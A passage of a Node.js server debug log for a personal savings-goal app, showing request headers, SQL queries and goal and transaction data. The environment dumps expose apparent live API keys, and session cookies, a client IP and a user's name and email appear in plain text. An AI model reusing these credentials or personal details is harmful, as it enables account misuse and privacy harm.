    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"4491-L+ZArf6/3Js+7+oGLbqhSbEDH4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.253.233',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.253.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"4491-L+ZArf6/3Js+7+oGLbqhSbEDH4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.253.233',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-06T16:30:10.261Z server-connect:router Serving serverConnect /api/goals/list
2026-03-06T16:30:10.262Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-06T16:30:10.262Z server-connect:app Executing action step identify
2026-03-06T16:30:10.262Z server-connect:app options: { provider: 'security' }
2026-03-06T16:30:10.262Z server-connect:output identity: 1
2026-03-06T16:30:10.262Z server-connect:app Executing action step restrict
2026-03-06T16:30:10.262Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:30:10.263Z server-connect:app Executing action step identify
2026-03-06T16:30:10.263Z server-connect:app options: { provider: 'security' }
2026-03-06T16:30:10.263Z server-connect:output identity: 1
2026-03-06T16:30:10.263Z server-connect:app Executing action step restrict
2026-03-06T16:30:10.263Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:30:10.264Z server-connect:output restrict: undefined
2026-03-06T16:30:10.264Z server-connect:app Executing action step paged
2026-03-06T16:30:10.264Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-06T16:30:10.267Z server-connect:output restrict: undefined
2026-03-06T16:30:10.268Z server-connect:app Executing action step custom
2026-03-06T16:30:10.269Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-06T16:30:10.272Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '95000',
    last_transaction_date: 2026-02-26T18:30:49.000Z,
    percentage_achieved: '47.50',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  }
]
2026-03-06T16:30:10.273Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-03-06T16:31:24.393Z server-connect:router Serving serverConnect /api/goals/transaction
2026-03-06T16:31:24.394Z server-connect:app Executing action step identify
2026-03-06T16:31:24.394Z server-connect:app options: { provider: 'security' }
2026-03-06T16:31:24.394Z server-connect:output identity: 1
2026-03-06T16:31:24.394Z server-connect:app Executing action step restrict
2026-03-06T16:31:24.394Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:31:24.396Z server-connect:output restrict: undefined
2026-03-06T16:31:24.396Z server-connect:app Executing action step insert
2026-03-06T16:31:24.396Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'target_transaction',
    returning: 'id',
    query: 'insert into `target_transaction` (`created_on`, `credit`, `debit`, `target_id`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2026-03-06T16:31:24.398Z server-connect:output insert: { affected: 1, identity: 13 }
2026-03-06T16:31:24.661Z server-connect:router Serving serverConnect /api/goals/list
2026-03-06T16:31:24.662Z server-connect:app Executing action step identify
2026-03-06T16:31:24.662Z server-connect:app options: { provider: 'security' }
2026-03-06T16:31:24.662Z server-connect:output identity: 1
2026-03-06T16:31:24.662Z server-connect:app Executing action step restrict
2026-03-06T16:31:24.662Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:31:24.663Z server-connect:output restrict: undefined
2026-03-06T16:31:24.663Z server-connect:app Executing action step custom
2026-03-06T16:31:24.663Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-06T16:31:24.665Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '116000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '116000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '116000',
    last_transaction_date: 2026-03-06T16:31:24.000Z,
    percentage_achieved: '58.00',
    grand_total_saved: '116000',
    grand_total_target: '4300000'
  }
]
2026-03-06T16:31:24.667Z server-connect:router Serving templateView /goal
2026-03-06T16:31:24.668Z server-connect:app Executing action step identify
2026-03-06T16:31:24.668Z server-connect:app options: { provider: 'security' }
2026-03-06T16:31:24.668Z server-connect:output identity: 1
2026-03-06T16:31:24.668Z server-connect:app Executing action step restrict
2026-03-06T16:31:24.668Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T16:31:24.668Z server-connect:output restrict: undefined
2026-03-06T16:31:24.668Z server-connect:router Render template layouts/main
2026-03-06T16:31:24.669Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.253.233',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.253.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"142cb-A4dmQhNAO/ET1DfCt1aIUmcue0A"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.253.233',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-03-06T16:31:25.457Z server-connect:router Serving serverConnect /api/goals/list
2026-03-06T16:31:25.457Z server-connect:app Executing action step identify
2026-03-06T16:31:25.457Z server-connect:app options: { provider: 'security' }
2026-03-06T16:31:25.458Z server-connect:output identity: 1
2026-03-06T16:31:25.458Z server-connect:app Executing action step restrict
2026-03-06T16:31:25.458Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:31:25.458Z server-connect:output restrict: undefined
2026-03-06T16:31:25.458Z server-connect:app Executing action step custom
2026-03-06T16:31:25.458Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-06T16:31:25.460Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '116000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '116000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '116000',
    last_transaction_date: 2026-03-06T16:31:24.000Z,
    percentage_achieved: '58.00',
    grand_total_saved: '116000',
    grand_total_target: '4300000'
  }
]
2026-03-06T16:31:25.461Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-06T16:31:25.464Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-06T16:31:25.464Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-06T16:31:25.464Z server-connect:app Executing action step identify
2026-03-06T16:31:25.464Z server-connect:app options: { provider: 'security' }
2026-03-06T16:31:25.464Z server-connect:output identity: 1
2026-03-06T16:31:25.464Z server-connect:app Executing action step restrict
2026-03-06T16:31:25.464Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:31:25.465Z server-connect:app Executing action step identify
2026-03-06T16:31:25.465Z server-connect:app options: { provider: 'security' }
2026-03-06T16:31:25.465Z server-connect:output identity: 1
2026-03-06T16:31:25.465Z server-connect:app Executing action step restrict
2026-03-06T16:31:25.465Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:31:25.465Z server-connect:app Executing action step identify
2026-03-06T16:31:25.465Z server-connect:app options: { provider: 'security' }
2026-03-06T16:31:25.465Z server-connect:output identity: 1
2026-03-06T16:31:25.465Z server-connect:app Executing action step restrict
2026-03-06T16:31:25.465Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:31:25.466Z server-connect:output restrict: undefined
2026-03-06T16:31:25.466Z server-connect:app Executing action step single
2026-03-06T16:31:25.466Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-06T16:31:25.467Z server-connect:output restrict: undefined
2026-03-06T16:31:25.467Z server-connect:app Executing action step select
2026-03-06T16:31:25.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-06T16:31:25.468Z server-connect:output restrict: undefined
2026-03-06T16:31:25.468Z server-connect:app Executing action step paged
2026-03-06T16:31:25.468Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-06T16:31:25.469Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-06T16:31:25.471Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 3,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 21000,
      debit: 0,
      created_on: '2026-03-06T16:31:24.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-03-06T16:31:25.473Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
